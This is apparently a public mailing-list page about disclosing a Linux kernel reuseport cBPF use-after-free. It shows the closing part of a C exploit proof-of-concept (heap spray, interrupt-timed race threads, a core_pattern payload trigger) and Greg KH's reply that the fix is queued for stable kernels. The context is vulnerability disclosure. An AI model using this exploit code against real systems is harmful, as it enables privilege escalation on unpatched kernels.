for (int i = 0; i < 4; i++)
pad[i] = -1;
#endif
#if PURGE_BEFORE_SPRAY
purge_fd = bind_reuseport_udp(target_port + 1);
if (setsockopt(purge_fd, SOL_SOCKET, SO_ATTACH_REUSEPORT_CBPF, &purge_prog0,
sizeof(purge_prog0)) < 0)
die("initial purge attach");
#endif
#if PAD_PAIR
#if DYNAMIC_EBPF_REUSEPORT
attach_dynamic_ebpf_reuseport(pad[0], 0, "initial attach pad");
#else
attach_reuseport_prog(pad[0], &prog0, eprog0, "initial attach pad");
#endif
#endif
#if DYNAMIC_EBPF_REUSEPORT
attach_dynamic_ebpf_reuseport(t[0], 0, "initial attach target");
#else
attach_reuseport_prog(t[0], &prog0, eprog0, "initial attach target");
#endif
ipi_region = mmap(NULL, IPI_REGION_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (ipi_region == MAP_FAILED)
die("mmap ipi");
memset(ipi_region, 0, IPI_REGION_SIZE);
ipi_region_global = ipi_region;
ready_fd = spawn_spray_workers();
pthread_create(&th_ready, NULL, ready_reader, &ready_fd);
if (setup_timerfd_epoll_irq() == 0 && TIMERFD_IRQ) {
pthread_create(&th_timerfd_irq, NULL, timerfd_irq_loop, NULL);
timerfd_irq_thread_started = 1;
}
setup_ondemand_spray();
printf("ondemand_xt_counters_spray=on jobs=%u per_attach=%u waves=%u "
"wave_delay_us=%u\n",
ONDEMAND_JOBS, ONDEMAND_PER_ATTACH, ONDEMAND_WAVES,
ONDEMAND_WAVE_DELAY_US);
#if SYNC_ASYNC_SPRAY
for (int i = 0; i < SYNC_ASYNC_WORKERS; i++)
pthread_create(&th_sync_async[i], NULL, sync_async_worker,
(void *)(intptr_t)i);
#endif
for (int i = 0; i < 1000 && atomic_load(&spray_ready) < SPRAY_READY_START;
i++)
usleep(10000);
printf("starting race ready=%ld timeout=%ld workers=%u blocked_target=%u\n",
atomic_load(&spray_ready), atomic_load(&spray_timeouts), SPRAY_WORKERS,
SPRAY_WORKERS * BLOCKED_PER_WORKER);
for (int i = 0; i < 4; i++)
pthread_create(&th_drain[i], NULL, target_tcp ? accept_loop : drain_loop,
&t[i]);
for (int i = 0; i < packet_count; i++)
pthread_create(&th_packet[i], NULL, packet_drain_loop, &packet_fds[i]);
for (int i = 0; i < IPI_THREADS; i++)
pthread_create(&th_ipi[i], NULL, ipi_loop, ipi_region);
for (int i = 0; i < HRTIMER_IRQ_THREADS; i++)
pthread_create(&th_hrtimer[i], NULL, hrtimer_irq_loop, NULL);
if (START_SEND_THREADS) {
for (int i = 0; i < SEND_THREADS; i++)
pthread_create(&th_send[i], NULL, target_tcp ? connect_loop : send_loop,
&target_port);
}
usleep(50000);
attach_args.target_fd = t[0];
attach_args.pad_fd = pad[0];
attach_args.send_fd = burst_send_fd;
attach_args.target_port = target_port;
attach_args.target_tcp = target_tcp;
pthread_create(&th_attach, NULL, attach_loop, &attach_args);
sleep(race_seconds);
atomic_store(&stop_flag, 1);
pthread_join(th_attach, NULL);
#if SYNC_ASYNC_SPRAY
for (int i = 0; i < SYNC_ASYNC_WORKERS; i++)
pthread_join(th_sync_async[i], NULL);
#endif
if (START_SEND_THREADS) {
for (int i = 0; i < SEND_THREADS; i++)
pthread_join(th_send[i], NULL);
}
for (int i = 0; i < IPI_THREADS; i++)
pthread_join(th_ipi[i], NULL);
for (int i = 0; i < HRTIMER_IRQ_THREADS; i++)
pthread_join(th_hrtimer[i], NULL);
if (timerfd_irq_thread_started)
pthread_join(th_timerfd_irq, NULL);
stop_timerfd_epoll_irq();
for (int i = 0; i < 4; i++)
pthread_join(th_drain[i], NULL);
for (int i = 0; i < packet_count; i++)
pthread_join(th_packet[i], NULL);
#if XT_LOCK_HOLDER
pthread_join(th_xt_lock, NULL);
#endif
#if KCTF_CORE_PATTERN_PAYLOAD
if (core_monitor_started)
pthread_join(th_core_monitor, NULL);
#endif
stop_spray_workers();
close(ready_fd);
pthread_join(th_ready, NULL);
trigger_core_pattern_helper();
printf("::POC_OUTPUT_END::\n");
return 0;
}
^ permalink raw reply [flat|nested] 2+ messages in thread
* Re: Exploitable reuseport cBPF UAF fixed in mainline but not backported to any stable/LTS
2026-06-11 22:01 Exploitable reuseport cBPF UAF fixed in mainline but not backported to any stable/LTS Zhenpeng (Leo) Lin
@ 2026-06-12 7:38 ` Greg KH
0 siblings, 0 replies; 2+ messages in thread
From: Greg KH @ 2026-06-12 7:38 UTC (permalink / raw)
To: Zhenpeng (Leo) Lin; +Cc: security, stable, disclosures
On Thu, Jun 11, 2026 at 03:01:15PM -0700, Zhenpeng (Leo) Lin wrote:
> Hello Linux kernel security team,
You also sent this to a public mailing list for some reason...
> Fix
> ---
> - Mainline commit 18fc650ccd7f ("bpf: Free reuseport cBPF prog after
> RCU grace period.", Kuniyuki Iwashima), first released in v7.1-rc3.
> It defers the cBPF free with call_rcu().
That commit has been queued up already for the next round of stable
kernel releases.
Next time, if you wish to have a commit applied to older kernels, please
take a look at:
https://www.kernel.org/doc/html/latest/process/stable-kernel-rules.html
for how to do this properly.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-06-12 7:39 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-11 22:01 Exploitable reuseport cBPF UAF fixed in mainline but not backported to any stable/LTS Zhenpeng (Leo) Lin
2026-06-12 7:38 ` Greg KH
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox